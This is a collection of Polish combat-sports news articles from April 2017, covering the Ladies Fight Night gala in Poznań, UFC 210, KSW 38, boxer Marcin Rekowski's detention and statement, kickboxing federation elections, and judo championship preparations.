W sobotę, w Poznaniu odbyła się kolejna gala organizacji Ladies Fight Night. W walce wieczoru triumfowała Katarzyna Lubońska, choć jej przeciwniczka z Brazylii stawiała twarde warunki. Mnóstwo emocji dostarczyła kibicom zgromadzonym w Sali Ziemi MTP widowiskowa walka Sylwii Juśkiewicz z LFN Team, która pewnie pokonała swoją przeciwniczkę z Ukrainy. Szczęścia nie miały zawodniczki z Poznania. Marta Gusztab i Natalia Leciejewska zaprezentowały wysoki poziom sportowy, ale przegrały swoje pojedynki niejednogłośną decyzją sędziów.

W 11 pojedynkach w formule MMA i K-1 Polki triumfowały aż 9 razy! Zwycięstwa dopisały też do swoich rekordów dwie zawodniczki z zagranicy. Brazylijka Talita De Oliveira pokonała Iren Racz przez duszenie w pierwszej rundzie, a Słowaczka Lucia Krajcovic okazała się silniejsza w pojedynku z Judytą Rymarzak.

W walce wieczoru Katarzyna Lubońska pokonała Brazylijkę Nubie Nascimento. Werdykt wydali sędziowie i nie była to jednogłośna decyzja. Silna fizycznie rywalka nie dała Lubońskiej szansy na walkę w parterze. Pojedynek odbywał się w stójce i nie brakowało w nim mocnej wymiany ciosów.

Największy entuzjazm kibiców zgromadzonych na trybunach wywołała walka Sylwi Juśkiewicz z LFN Team z Ukrainką Liudmilą Pylypchak. Zacięty pojedynek dwóch mocnych zawodniczek trwał trzy rundy i nie zwalniał tempa. Juśkiewicz dominowała od początku i zwyciężyła jednogłośną decyzją sędziów.

„Walka Sylwii w formule MMA była niewątpliwie jednym z najciekawszych pojedynków podczas całej gali. Kibice wstawali z miejsc i głośno dopingowali zawodniczkę. Jestem bardzo dumny i cieszę się, że „Mała” i inne zawodniczki LFN Team robią duże postępy i rozwijają się wraz z całą organizacją. Gala LFN w Poznaniu jest kolejnym dowodem na to, że fani sportów walki chcą oglądać kobiety w klatkoringu, a nasze starania o ciągłe podnoszenie poziomu organizacyjnego i sportowego imprezy przynoszą efekty.” – mówi Łukasz Chmal, prezes Ladies Fight Night.

Gala LFN „Five Points” w Poznaniu była piątą galą żeńskiej organizacji. Całe widowisko można odtworzyć dzięki transmisji gali na Facebooku organizacji.

WYNIKI

MMA 57 kg: Katarzyna Lubońska pok. Nubie Nascimento przez niejednogłośną decyzję

K-1 50 kg: Hanna Gujwan pok. Natalię Leciejewską przez niejednogłośną decyzję

K-1 56 kg: Małgorzata Dymus  pok. Meryem Uslu przez niejednogłośną decyzję

MMA 52 kg: Sylwia Juśkiewicz pok. Liudmila Pylypchak przez jednogłośną decyzję

K-1 +78 kg: Paulina Bieć pok. Mary Anne Kieper przez TKO (runda 2)

MMA 61 kg: Katarzyna Sadura pok. Suvi Salmimies przez jednogłośną decyzję

K1 63,5 kg: Kamila Bałanda pok. Martę Gusztab przez niejednogłośną decyzję

MMA 61 kg: Talita De Oliveira pok Irena Racz przez poddanie (runda 1)

K-1 56 kg: Lucia Krajcovic pok. Judyta Rymarzak przez jednogłośną decyzję

MMA 57 kg: Katarzyna Biegajło pok. Anželika Petkevičiūtė przez TKO (runda 1)

K-1 67 kg: Angelika Szczepańska pok. Agnieszkę Szmitowska przez TKO (runda 1)

Błachowicz przegrał i wylądował w szpitalu

Fantastyczny początek walki w wykonaniu Jana Błachowicza na gali UFC 210 w Buffalo. Polak powalił Patricka Cumminsa, jednak nie wykorzystał szansy i przegrał decyzją sędziów.

Wejście Błachowicza w pojedynek wręcz perfekcyjnie. Brakowało tylko kropki nad „i”. Chciałoby się powiedzieć – nieważne jak się zaczyna, ważne jak się kończy. Błachowicz zanotował drugą porażkę z rzędu w UFC.

Zacięta walka

Zaczęło się wręcz idealnie dla Jana Błachowicza. Po upływie trzydziestu sekund Cummins padł na ziemię. „John” potraktował rywala mocnym podbródkowym, a później posłał w jego stronę serię ciosów. Amerykanin znalazł się w opałach, ale przetrwał natarcie Polaka. Cummins zaczął atakować, ale lepiej wyglądał Błachowicz, który zadawał kolejne ciosy. W końcu 36-latek obalił cieszynianina i spędził ponad minutę na górze.

W drugiej odsłonie Cummins starał się zdominować Błachowicza. Na początku wcisnął go w siatkę, ale nie udało mu się zbyt wiele zrobić. Następnie Amerykanin sprowadził walkę do parteru, gdzie zadał rywalowi kilka mocnych ciosów. Po obu zawodnikach było widać, że szybkie tempo dało im się we znaki. Na ich twarzach pojawiło się zmęczenie. Początek trzeciej rundy to prosty i niskie kopnięcie w wykonaniu Błachowicza. Cummins nie pozostawał dłużny, wyprowadził kilka mocnych uderzeń, a następnie sprowadził pojedynek do parteru. Błachowiczowi udało się uwolnić dwie minuty przed końcem. „John” próbował atakował, jednak Cummins w klinczu wyprowadził kilka mocnych kolan.

Decyzja leżała w gestii sędziów. Oceniający uznali, że lepszy był Cummins, ale była to decyzja większościowa. Jeden z sędziów widział remis – 28:28. Dla Polaka to czwarta porażka w UFC. Błachowicz trafił do szpitala, gdzie zdiagnozowano u niego złamanie kciuka lewej dłoni.

Efektowne zwycięstwo Cormiera

Daniel Cormier nadal mistrzem wagi półciężkiej. 38-latek mógł być zdziwiony tym, że Anthony Johnson przeniósł walkę do parteru. Cormier wykorzystał sytuację i wypracował korzystną pozycję. W stójce „Rumble” nie żałował mistrzowi ciosów, czym poważnie uszkodził rywala. Cormier miał złamany nos. W drugiej odsłonie zaznaczała się przewaga mistrza, Johnson próbował… obalić przeciwnika i sam wpędził się w tarapaty. Mistrz znalazł się za plecami i zapiął skuteczne duszenie. Cormier mógł cieszyć się ze zwycięstwa przed czasem.

Gegard Mousasi zapisał na swoim koncie 42 zwycięstwo w karierze. W Buffalo w drugiej rundzie rozbił kolanami Chrisa Weidmana. Zaledwie 21 sekund trwała walka Gregora Gillespie z Andrew Holbrookiem. „The Gift” znokautował rywala i odniósł dziewiąte zwycięstwo w karierze.  W Buffalo porażkę zanotował były mistrz wagi lekkiej Bellatora Will Brooks. Charles Oliveira zmusił 30-latka do poddania już w pierwszej rundzie.

Daniel Cormier  pokonał Anthony Johnson przez poddanie w drugiej rundzie

185 lbs: Gegard Mousasi pokonał Chrisa Weidmana przez TKO w drugiej rundzie
115 lbs: Cynthia Calvillo pokonała Pearl Gonzalez przez poddanie w trzeciej rundzie
170 lbs: Thiago Alves pokonał Patricka Cote przez decyzję
155 lbs: Charles Oliveira pokonał Willa Brooksa przez poddanie w pierwszej rudzie

145 lbs: Myles Jury pokonał Mike'a De La Torre przez TKO w pierwszej rundzie
170 lbs: Kamaru Usman pokonał Seana Stricklanda przez decyzję
145 lbs: Shane Burgos pokonała Charlesa Rosa przez TKO w pierwszej rundzie
205 lbs: Patrick Cummins pokonał Jana Błachowicza przez większościową decyzję sędziowską 

155 lbs: Gregor Gillespie pokonał Andrew Holbrooka przez nokaut w pierwszej rundzie
155 lbs: Desmond Green pokonał Josha Emmetta przez decyzję
135 lbs: Katlyn Chookagian pokonała Irene Aldana przez decyzję 
125 lbs: Magomed Bibulatov pokonał Jenel Lausa przez jednogłośną decyzję sędziowską 

KM

Sowiński „udusił” Chlewickiego

Efektowny finał gali KSW 38: Live in Studio. Łukasz Chlewicki musiał odklepać wobec perfekcyjnego duszenia Artura Sowińskiego. Przed czasem wygrywali również Grzegorz Szulakowski i Maciej Kazieczko.

Gala KSW 38: Live in Studio była przeznaczona dla widzów przed telewizorami. Z bliska walki mogło śledzić 300 osób. Za 1,5 miesiąca będzie zupełnie inaczej. 27 maja KSW zawita na stadion PGE Narodowy. Ponad 60 tys. widzów będzie śledziło zmagania m.in. Mameda Khalidova, Borysa Mańkowskiego, Marcina Wrzoska, Damiana Janikowskiego, Marcina Różalskiego czy Mariusza Pudzianowskiego.

Były mistrz zanotował efektowną wygraną

Na KSW 37 w Krakowie obaj przegrali przed czasem, jednak o przerwaniu ich walk zdecydował lekarz. W Sękocinie jeden z nich miał wrócić na zwycięski tor. Artur Sowiński szybko ruszył na Łukasza Chlewickiego i sprowadził walkę do partertu. Były mistrz wagi piórkowej niemiłosiernie obijał rywala, jednak ten uciekł i znalazł się z góry. Sowiński wykazał się kunsztem i zapiął trójkąt nogami. Chlewicki musiał odklepać. Efektowne zwycięstwo „Kornika” w pierwszej rundzie.

Antoni Chmielewski i Łukasz Bieńkowski zaczęli ostrożnie. Można stwierdzić, że postanowili zabawić się „w chodzonego”. Pierwsza runda odbyła się – tyle w zasadzie można o niej powiedzieć. W drugiej odsłonie Chmielewski próbował obalić rywala, ale ten obronił się. Na twarzy 35-latka pojawiła się krew. Obaj zawodnicy polegali na walce bokserskiej, obserwowali się i czekali na dogodny moment do ataku. Kilka razy próbował Chmielewski, jednak bez efektu. W trzeciej rundzie do głosu doszedł Bieńkowski. Pojedynek w stójce, pojedyncze akcje, ciosów niewiele, żaden z zawodników nie wybił się na pierwszy plan. Na nieco ponad minutę przed końcem próba obalenia ze strony Chmielewskiego, jednak nieskuteczna. Walka nie porwała, a z drugiego zwycięstwa w KSW cieszył się Bieńkowski.

W starciu w kategorii piórkowej od początku Roman Szymański nadawał ton walce z Denilsonem Nevesem de Oliveirą. Polak próbował duszenia zza pleców, jednak Brazylijczyk wytrzymał i nie odklepał. W pierwszej rundzie karty rozdawał Szymański, który cztery miesiące temu w debiucie w KSW pokonał Sebastiana Romanowskiego. Kolejne minuty również pod dyktando 23-latka z Poznania. Udane sprowadzenia, kolejne ciosy spadały na głowę Brazylijczyka, który starał się uciekać i wstawać, jednak bezskutecznie. Denilson imponował wytrzymałością. Przetrwał drugą rundę, w której przewaga Szymańskiego nie podległa dyskusji. Trzecia runda spokojna, aż… Brazylijczyk potężnym kolanem trafił Polaka, który padł. Zawodnik z Kraju Kawy chciał wykorzystać sytuację, ale wyprowadził kopnięcie w krocze rywala. Szymański potrzebował kilku chwil, żeby dojść do siebie. Polak starał się dotrwać do końca, Brazylijczyk próbował atakować, ale bez efektu. Wygrana Szymańskiego na punkty.

Efektowny Kazieczko, powrót Azhieva

Gala KSW 38: Live in Studio w Sękocinie Nowym zaczęła się z wysokiego c. Maciej Kazieczko potrzebował siedemdziesięciu sekund, żeby pokonać Tomasz Matusewicza. 23-latek z Poznania trafił prawym kopnięciem, uniknął sierpa rywala i posłał kolejny cios. Matusewicz padł na deski, a Kazieczko takiej sytuacji nie mógł zmarnować. Trzecie zwycięstwo w karierze zawodnika Ankosu Poznań.

Zwycięski powrót zaliczył Anzor Azhiev, który ostatni raz walczył w listopadzie 2015 roku. Warto dodać, że starcie 26-latka z Kamilem Selwą było pierwszym w kategorii koguciej. Zawodnik debiutujący w KSW pokazał się z dobrej strony i napsuł sporo krwi Czeczenowi. Selwa był aktywny, w parterze nie pozwolił rywalowi na zbyt wiele, ale to Azhiev cieszył się ze zwycięstwa.

Wyrównany przebieg miała walka Łukasza Rajewskiego z Sebastianem Romanowskim. „Raju” budował swoją przewagę kopnięciami i wykorzystywał przewagę zasięgu. W trzeciej rundzie Romanowski obalił rywala, jednak to było za mało. Jednogłośnie na punkty triumfował Rajewski. Trzecia walka Grzegorza Szulakowskiego na KSW i trzecia wygrana. Tym razem 30-letni zawodnik pokonał doświadczonego Renato Gomesa Gabriela. W trzeciej rundzie Polak obalił rywala i rozbijał jego twarz w krucyfiksie. Szulakowski mógł cieszyć się ze zwycięstwa przed czasem.

Dobrą passę podtrzymał Kamil Szymuszowski, choć nie miał łatwej przeprawy z Gracjanem Szadzińskim. 28-latek ze szczecińskiego Berserketa zastąpił dwa dni przed galą Marifa Piraeva. W pierwszej rundzie Szadziński się rozkręcał i trafiał Szymuszowskiego na tułów. 27-latek przyjmował kolejne ciosy, a rywal czuł się coraz pewniej. W drugiej rundzie Szymuszowski postanowił sprowadzić walkę do parteru. Obijał rywala łokciami i zyskał przewagę, a w ostatniej odsłonie dobił Szadzińskiego lewym prostym. Szymuszowski wygrał większościową decyzją sędziów.

KM

Zatrzymany bokser wydał oświadczenie

Wokół Marcina Rekowskiego zrobiło się niezwykle gorąco, jednak nie za sprawą sukcesów sportowych, lecz w związku z zatrzymaniem przez policję. Bokser zabrał głos w sprawie.

Świat sportów walki, w tym boksu jest niezwykle trudny. Oprócz wrażeń czysto sportowych nie brakuje różnego rodzaju skandali czy afer dopingowych.

Czerpał korzyści majątkowe z prostytucji?

Od kilku miesięcy policja prowadziła śledztwo w sprawie sutenerstwa, w którym zatrzymano już dwóch Bułgarów i Polkę. We wtorek (4 kwietnia) w ręce funkcjonariuszy trafili dwaj kolejni mężczyźni. Jednym z nich jest polski bokser. Z dotychczasowych ustaleń wynika, że mężczyźni mieli ułatwiać kobietom świadczenie usług przy drogach na terenie Polski. Mieli z tego czerpać korzyści majątkowe.

Nie trzeba było długo czekać, żeby ustalić, iż podejrzanym w sprawie jest Marcin Rekowski. Sam bokser również zabrał głos w sprawie. Na swoim facebooku zamieścił oświadczenie, w którym podziękował za wsparcie i wyraził nadzieję na szybkie wyjaśnienie sprawy. – Ostanie dni były dość chaotyczne. Trochę stresu, niewiadomych. Co będę Wam tu pisał, czytaliście wiele różnych artykułów, swoją drogą na zdjęciach gdzie widać całą moją twarz wyglądam chyba trochę lepiej, bo ten pasek na oczach to trochę słabo wygląda. A tak na serio. Jestem w domu, wśród bliskich. Dziękuję Wam za wiele ciepłych słów i wiarę, sam do końca nie wierzę w to, co się dzieje. Bardzo Was przepraszam za to zamieszanie i stres, ale mi też nie jest miło. Mam nadzieję,że wszystko się wyjaśni i wróci do normy. Przede wszystkim chcę gorąco pozdrowić mojego syna Oliwera,który jest całym moim życiem, moją rodzinę i przyjaciół, którzy są przy mnie – napisał pięściarz.

Zaznaczył również, że po całym zamieszaniu nadszedł czas na powrót do codzienności. – Wracamy do normalności, do życia, diety i treningów – podkreślił Rekowski.

Ostatnio pod górkę

Marcin Rekowski stosunkowo późno zadebiutował na zawodowym ringu. Pierwszą walkę stoczył w maju 2012 roku w Poznaniu, a miał wtedy na karku 34 lata. W debiucie pokonał już w drugiej rundzie Manuela Reussa.

Pięściarz rywalizujący w wadze ciężkiej wygrał 12 pojedynków i dostał szansę rywalizacji z byłym mistrzem federacji WBC Oliverem McCallem. Mimo różnicy 13 lat lepszy okazał się Amerykanin, choć wygrał niejednogłośnie na punkty. Walce towarzyszyło zamieszanie, bo początkowo ogłoszono, że zwycięzcą starcia jest… Polak. Ostatnie miesiące to trudny czas dla 39-latka, który przegrał trzy ostatnie walki. W ubiegłym roku poległ w pojedynkach z Andrzejem Wawrzykiem i Krzysztofem Zimnochem, zaś w styczniu br. dostał szansę na wywalczenie tytuły IBF Inter-Continental. Przegrał jednak w czwartej rundzie z Carlosem Takamem.

Fot. Facebook

KM

Ladies Fight Night zawojuje Poznań już w najbliższy weekend!

Już 8 kwietnia, w sobotę, odbędzie się piąta gala żeńskiej organizacji sportów walki Ladies FIght Night. Galę „Five Points” w Sali Ziemi MTP obejrzy 1500 gości. Transmisję live z wydarzenia będzie można śledzić na stronie internetowej i Facebooku organizacji. Nie zabraknie gości specjalnych i szybkich samochodów, w końcu wydarzeniu będą towarzyszyły największe targi motoryzacyjne w Polsce. Ceremonia ważenia odbędzie się w piątek o godz.17:00.

Gala Ladies Fight Night „Five Points” będzie debiutem organizacji w Wielkopolsce. Ladies Fight Night to pierwsza i jedyna w Europie żeńska organizacja sportów walki, która na polskim rynku zadebiutowała w grudniu 2015 roku galą w Łodzi. W zeszłym roku LFN gościło w Łodzi, Warszawie i Karpaczu. Rok 2017 otwiera galą w Poznaniu podczas targów Motor Show.

Już w sobotę w klatkoringu LFN zobaczymy 11 pojedynków w formule K-1 i MMA tylko i wyłącznie kobiet. Podczas poznańskiej gali obok najbardziej utalentowanych zawodniczek z Polski zobaczymy też fighterki z Czech, Węgier, Finlandii, Niemiec, Brazylii i Litwy. Z karty walk wypadła niestety Francuzka. Valerie Domergue, która miała zmierzyć się z Katarzyną Biegajło, w ostatnim tygodniu przygotowań doznała kontuzji łokcia i musiała wycofać się z walki. Nową przeciwniczką Biegajło będzie pochodząca z Litwy Anželika Petkevičiūtė, która zadebiutuje w zawodowym pojedynku MMA. Warto jednak dodać, że w amatorskim rekordzie zawodniczki nie ma ani jednej porażki!

Wielkopolskę reprezentować będą dwie zawodniczki klubu Kohorta Poznań a w walce wieczoru pilanka Katarzyna Lubońska skrzyżuje rękawice z Brazylijką Nubią Nascimento. Przypomnijmy, że w listopadzie 2015 roku podczas KSW 33 Lubońska przegrała pojedynek z inną Brazylijką Ariane Lipski. Jak sama mówi, walka z rodaczką Ariane będzie dla niej okazją do odegrania się. Walka wieczoru podczas piątej gali LFN na pewno dostarczy fanom MMA sporą dawkę sportowych emocji!

Zanim zawodniczki zobaczymy w klatkoringu, na żywo będzie można je spotkać w piątek podczas oficjalnej ceremonii ważenia, która odbędzie się na targach Motor Show o godz. 17 w hali nr 5 na stoisku Ladies Fight Night. Relację z ważenia oraz sobotnią galę będzie można śledzić live na Facebooku i stronie internetowej organizacji www.lfn.com.pl

Wśród gości specjalnych gali Five Points pojawią się m.in. Piotr Stramowski, Bracia Collins, Drużyna Mistrzów i Jacek Chrzanowski, główny projektant supersamochodu o nazwie Syrma Hypersport Concept. Nie zabraknie też znanych i lubianych zawodników. Oprócz dziewczyn z LFN Team, które będą dopingować walczące na gali koleżanki, podczas przerwy będzie można również zrobić sobie zdjęcie z Marcinem Wrzoskiem, Bartłomiejem Kurczewskim czy Piotrem Strusem i Arturem „Kornikiem” Sowińskim, którzy będą komentować galę. W roli prowadzących niezastąpieni Łukasz „Juras” Jurkowski i Krzysztof „Jankes” Jankowski.

Więcej na www.lfn.com.pl

Groźne kobiety zaprezentują się w Poznaniu

Mówi się, że kobiety są łagodne, ale potrafią pokazać „pazurki”. Najlepszym dowodem są gale organizacji Ladies Fight Night, która szykuje się do kolejnego wydarzenia. Już 8 kwietnia w Poznaniu odbędzie się 11 emocjonujących walk. W starciu wieczoru Katarzyna Lubońska spotka się z Nubią Nascimento.

MMA i K-1 w najlepszym wydaniu. LFN stawia na młode i głodne sukcesów zawodniczki, ale skupia również doświadczone, utytułowane oraz klasowe fighterki. 

Kolejne gwiazdy

Tym, którzy interesują się MMA nie trzeba przedstawiać Katarzyny Lubońskiej. 24-latka ma za sobą występy na galach KSW. Organizacja Ladies Fight Night może pochwalić się kolejnym mocnym nazwiskiem. W pojedynku na zasadach K-1 zaprezentuje się Kamila Bałanda, która ma na swoim koncie wiele tytułów mistrzyni Polski i kilkanaście zawodowych walk. – Cały czas walczymy o jak najlepsze zawodniczki. Dołączyły do nas tak utalentowane zawodniczki jak Katarzyna Lubońska czy Kamila Bałanda, co niezwykle nas cieszy. Liczymy na bardzo dobre walki – mówi FighTime.pl Łukasz Chmal, prezes Ladies Fight Night.

8 kwietnia organizacja zawita do Poznania. Gala Ladies Fight Night „Five Points” to 11 wyjątkowych pojedynków, w których nie zabraknie efektownych ciosów. Ciekawie zapowiada się starcie w K-1 pomiędzy Judytą Rymarzak a doświadczoną Lucią Krajcović. Zawodowe debiuty zaliczą Agnieszka Szmitowska i Angelika Szczerańska. W Poznaniu dojdzie do najcięższego pojedynku kobiet w K-1 w Europie. W klatkoringu w kategorii +78kg zmierzą się Paulina Bieć i Niemka Mary Anne Kieper.

Dotychczasowe gale LFN pokazały, że piękne kobiety potrafią walczyć na wysokim poziomie. – Nie chodzi o urodę. Staramy się dobierać zawodniczki pod względem poziomu sportowego. Dokładnie analizujemy ilość i jakość walk, sprawdzamy każdą fighterkę, żeby poziom naszych gal był jak najwyższy. Zawsze stawiamy na zacięte walki. Dobieramy zawodniczki pod względem umiejętności i staramy się, by w klatkoringu LFN spotykały się równe rywalki, bo wtedy walki są ciekawe i nieprzewidywalne – wyjaśnia Chmal.

Z myślą o kibicach

Organizacja Ladies Fight Night chce dostarczyć kibicom przepyszne danie. Co warto zaznaczyć, nie wystawia rachunku. Wejściówki na galę są darmowe! Wystarczy zarezerwować bilet i na żywo można śledzić zmagania czołowych zawodniczek MMA i K-1 w Polsce. – Mamy świadomość, że domowy budżet nie jest z gumy. Chcemy, aby nasze gale mogła oglądać jak największa liczba kibiców. To pasjonaci, którzy żyją walkami i stwarzamy im możliwość darmowych wejściówek na nasze wydarzenia. Dzięki temu możemy dotrzeć do dużej liczby widzów. Zasięg ostatniej gali  przekroczył milion osób a na samym Facebooku oglądało nas live prawie 300 tysięcy. Środki pozyskujemy od sponsorów, co pozwala stworzyć kibicom możliwość oglądania gal za darmo. Zgodnie z powiedzeniem, wilk syty i owca cała – tłumaczy prezes LFN.

Karta walk gali LFN „Five Points”:

MMA 57 kg: Katarzyna Lubońska (4-2-0) vs Nubia Nascimento (2-2-1)
K-1 50 kg: Hanna Gujwan (2-1-0) vs Natalia Leciejewska (0-0-0)
K-1 56 kg: Małgorzata Dymus (4-3-0) vs Meryem Uslu (42-10-1)
MMA 52 kg: Sylwia Juśkiewicz (5-4-0) vs Liudmila Pylypchak (2-3-0)
K-1 78 kg: Paulina Bieć (1-0-0) vs Mary Anne Kieper (1-0-0)
MMA 61 kg: Katarzyna Sadura (2-2-0) vs Suvi Salmimies (6-3-1)
K1 63,5 kg: Kamila Bałanda (10-1-0) vs Marta Gusztab (1-1-0)
MMA 61 kg: Talita De Oliveira (4-1-0) vs Irena Racz (4-6-2)
K-1 56 kg: Judyta Rymarzak (2-1-0) vs Lucia Krajcovic (19-8-0)
MMA 57 kg: Katarzyna Biegajło (1-1-0) vs Valerie Domergue (1-2-0)
K-1 67 kg: Agnieszka Szmitowska (0-0-0) vs Angelika Szczepańska (0-0-0)

KM

Siegoczyński nowym prezesem PZKb

Nowym sternikiem Polskiego Związku Kickboxingu został wybitny zawodnik Piotr Siegoczyński. 50-latek w wyścigu o fotel prezesa pokonał Gerarda Zdziarskiego i Krzysztofa Bulandę.

Piotra Siegoczyńskiego nie trzeba nikogo przedstawiać. Wspaniały zawodnik, wybitny trener, którego kickboxing pochłonął w całości. Teraz Siegoczyński będzie miał okazję sprawdzić się w nowej roli.

Walka o tron

Dla Piotra Siegoczyńskiego udział w wyborach na prezesa Polskiego Związku kickboxingu to nie pierwszyzna. 50-latek ubiegał się o stanowisko cztery lata temu, jednak przegrał z Andrzejem Palaczem. Tym razem dotychczasowy sternik PZKb postanowił nie kandydować i udzielił poparcia Siegoczyńskiemu, co jednoznacznie można odczytać jako akt namaszczenia na następcę. Z pewnością owo wsparcie okazało się niezwykle cenne, jednak 50-latek musiał stoczyć walkę z rywalami. Na placu boju stanęli dotychczasowy wiceprezes związku i doskonały zawodnik Gerard Zdziarski oraz działacz i trener Krzysztof Bulanda.

2 kwietnia odbył się Walny Sprawozdawczo-Wyborczy Zjazd Delegatów PZKb. W wyścigu o fotel prezesa liczyły się dwa nazwiska. Bulanda uzyskał cztery głosy. Siegoczyński i Zdziarski prezentowali swoje pomysły, aby przekonać do siebie jak największą część gremium. Warto zaznaczyć, że kampania zaczęła się znacznie wcześniej. Wizja Siegoczyńskiego trafiła do delegatów, którzy oddali na niego 81 głosów. Z kolei Zdziarskiego poparło 50 osób.

Kadencja Siegoczyńskiego będzie trwała cztery lata. Podczas niedzielnego zjazdu wybrano również zarząd związku, w skład którego weszli: Krzysztof Kaproń, Łukasz Wabnic, Zbigniew Prych, Agnieszka Turchan, Jerzy Bassa i Andrzej Palacz.

Spełniony zawodnik i trener

Człowiek sukcesu – takie słowa idealnie pasują do 50-letniego Siegoczyńskiego, który jest najlepszą reklamą polskiego kickboxingu. Przygodę ze sportami walki rozpoczął ponad 35 lat temu w SKK Politechnika Warszawska. Jego postępom z bliska przyglądał się… Andrzej Palacz.  Na pierwszy znaczący sukces urodzonego w Milanówku Siegoczyńskiego nie trzeba było długo czekać. W 1985 roku jako pierwszy polski fighter sięgnął w Budapeszcie po mistrzostwo świata WAKO. Łącznie na swoim koncie zapisał trzy tytuły najlepszego zawodnika globu oraz siedem razy sięgnął po mistrzostwo Europy.

Z największą dumą Siegoczyński może chwalić się swoimi wychowankami, z którymi pracuje w klubie X Fight Piaseczno. Dorota Godzina, Joanna Różańska, Mariusz Niziołek, Łukasz Wichowski to czołówka polskiego kickboxingu. Siegoczyński pracował również z reprezentacją Polski, która pod jego wodzą zdobyła wiele medali najważniejszych imprez. Ostatnio 50-latek pełnił funkcję dyrektora sportowego organizacji DSF Kickboxing Challenge.

KM

Zmiany w życiu Rousey i Haye’a?

Spokojnie. Nie bawimy się w swatkę. Tak się stało, że w jakiś pokręty sposób losy Rondy Rousey i Davida Haye'a spotkały się w jednym punkcie. Amerykanka znalazła nowego trenera, co może oznaczać, że głosy o jej pożegnaniu z MMA były przedwczesne. Z kolei brytyjski bokser otrzymał ciekawą propozycję.

Jak mawiał Benjamin Franklin, „na tym świecie pewne są tylko śmierć i podatki”. Na tapecie znalazł się pojedynek zawodnika MMA Conora McGregora z bokserem Floydem Mayweatherem Jr. Kto wie, czy nie będzie to jedyna „mieszana” walka.

Nowe wyzwanie byłego mistrza 

Czy David Haye ma najlepsze lata za sobą? Tony Bellew pokazał 36-latkowi miejsce w szeregu i wyrzucił go za liny. Co prawda były mistrz świata WBA długo nie boksował. Haye zrobił sobie dłuższą przerwę od sportu. Po wygranej walce z Dereckiem Chisorą (14 lipca 2012) zniknął na 3,5 roku. Wrócił, wygrał dwie walki i żył nadzieją, że stać go na mistrzowskie pojedynki. Bellew sprowadził go na ziemię.

O Haye'u jest ponownie głośno. Dziennik The Exprees podał informację na temat spotkania boksera z przedstawicielami Jimi'ego Manuwy. Panowie mieliby stoczyć walkę na gali, której głównym wydarzeniem będzie starcie McGregora z Mayweatherem. Manuwa rzucił wyzwanie bokserowi, który obecnie przechodzi rehabilitację po operacji ścięgna Achillesa. 37-letni zawodnik UFC ostatnio efektownie znokautował Coreya Andersona, czym udowodnił, że ma mocny cios. Zaimponował tym byłemu mistrzowi świata wagi ciężkiej, który nie uchyla się od kolejnego wyzwania w swojej karierze. – Wysłuchaliśmy przedstawicieli Manuwy jak i UFC i jest to coś czego w tym momencie szukamy. Nie da się ukryć, że długa droga do potwierdzenia tego, ale jest to walka, która połączy wielu fanów UFC i boksu i będzie elementem wielkiego wydarzenia – powiedział Haye.

Pojawił się trener, jest nadzieja?

W grudniu 2016 roku Ronda Rousey poniosła dotkliwą porażkę w starciu z Amandą Nunes. Kariera „Rowdy” znalazła się na zakręcie. – Potrzebuję wziąć trochę czasu wolnego, żeby to wszystko przemyśleć i zastanowić się nad przyszłością. Dziękuję wam za wiarę we mnie i zrozumienie – napisała była mistrzyni UFC w swoim oświadczeniu.

Pojawiło się wiele głosów, że Amerykanka pożegna się z UFC. Nawet szef organizacji Dan White przychylał się do tej wersji. Rousey nie zabrała głosu w sprawie. Dla jej fanów optymistycznym znakiem może być nawiązanie współprace z trenerem Danem Garnerem, który zajmuje się siłą, kondycją i suplementacją. – Chciałem dać dobry powitalny post do Rondy Rousey, która właśnie niedawno dołączyła do zespołu i jest przygotowana na kompleksowy proces programowania żywieniowego. Jestem podekscytowany, że mam ją na pokładzie i tym, co osiągniemy – napisał Garner na swoim Instagramie.

KM

Przez Węgry do Warszawy

20 kwietnia rozpocznie się wielkie święto judo. Przez cztery dni w Warszawie zawodnicy będą walczyć o medale mistrzostw Europy. Biało-czerwoni przygotowują się, żeby wypaść jak najlepiej na własnym terenie. Na początku kwietnia będą trenowali w węgierskiej miejscowości Tata.

Z jednej strony wyzwanie organizacyjne, z drugiej zaś sportowe. Mistrzostwa Europy w Warszawie to ogromna szansa dla polskiego judo. Dobry występ to szansa na powrót do chwały, a także popularyzację dyscypliny i rozgłos.

Szlifowanie formy

Naszym nie pozostało nic innego, jak dopiąć wszystko na ostatni guzik. Na FighTime.pl informowaliśmy, że mistrzostwa Europy w judo wracają do Polski po 17 latach. W 2000 roku w Gdańsku Polska wywalczyła jeden medal, a jego autorem był Robert Krawczyk (81kg), który zajął trzecie miejsce.

Wszyscy są głęboko przekonani, że zbliżająca się impreza to szansa, którą należy wykorzystać. Mamy mocne drużyny. W zeszłym roku panie sięgnęły po tytuł najlepszej drużyny Starego Kontynentu, a panowie wywalczyli brąz. W gazie jest młody Piotr Kuczera (90kg), który zaskakuje na każdym krok. W Kazaniu wyskoczył niczym Filip z konopi i sięgnął po brąz. Mistrzostwa Europy będą pożegnaniem z tatami dla naszej utytułowanej judoczki Katarzyny Kłys (70kg). Mamy solidne podstawy, które powinniśmy wykorzystać.

W dniach 2-7 kwietnia nasi kadrowicze będą trenowali na Węgrzech. Na miejsce pobytu wybrali miejscowość Tata. Nie wszystkim będzie jednak dane wystartować w Warszawie. Obowiązuje limit dziewięciu zawodniczek i zawodników. W ostatnim zgrupowaniu przed czempionatem weźmie udział 23 judoków. Będą to: Ewa Konieczny (48 kg), Karolina Pieńkowska (52 kg), Agata Perenc (52 kg), Anna Borowska (57 kg), Julia Kowalczyk (57 kg), Agata Ozdoba (63 kg), Karolina Tałach (63 kg), Katarzyna Kłys (70 kg), Sandra Lickun (70 kg), Beata Pacut (78 kg), Anna Załęczna (+78 kg), Michał Bartusik (66 kg), Aleksander Beta (66 kg), Wiktor Mrówczyński (73 kg), Mateusz Garbacz (73 kg), Damian Szwarnowiecki (81 kg), Jakub Kubieniec (81 kg), Piotr Kuczera (90 kg), Patryk Ciechomski (90 kg), Jakub Wójcik (100 kg), Mariusz Krueger (100 kg), Maciej Sarnacki (+100 kg), Kamil Grabowski (+100 kg).

Tam Tbilisi, tu Bemowo

Wielkimi krokami zbliża się kolejny weekend z judo. Tym razem zawodnicy o punkty będą rywalizować podczas Grand Prix Tbilisi. Na listach startowych widnieje ponad 250 nazwisk, ale brak wśród nich Polaków. W Gruzji pojawią się gwiazdy m.in. Erika Miranda (52kg), która jest wiceliderką światowych list czy trzecia na świecie Kathrin Unterwurzacher (63kg).

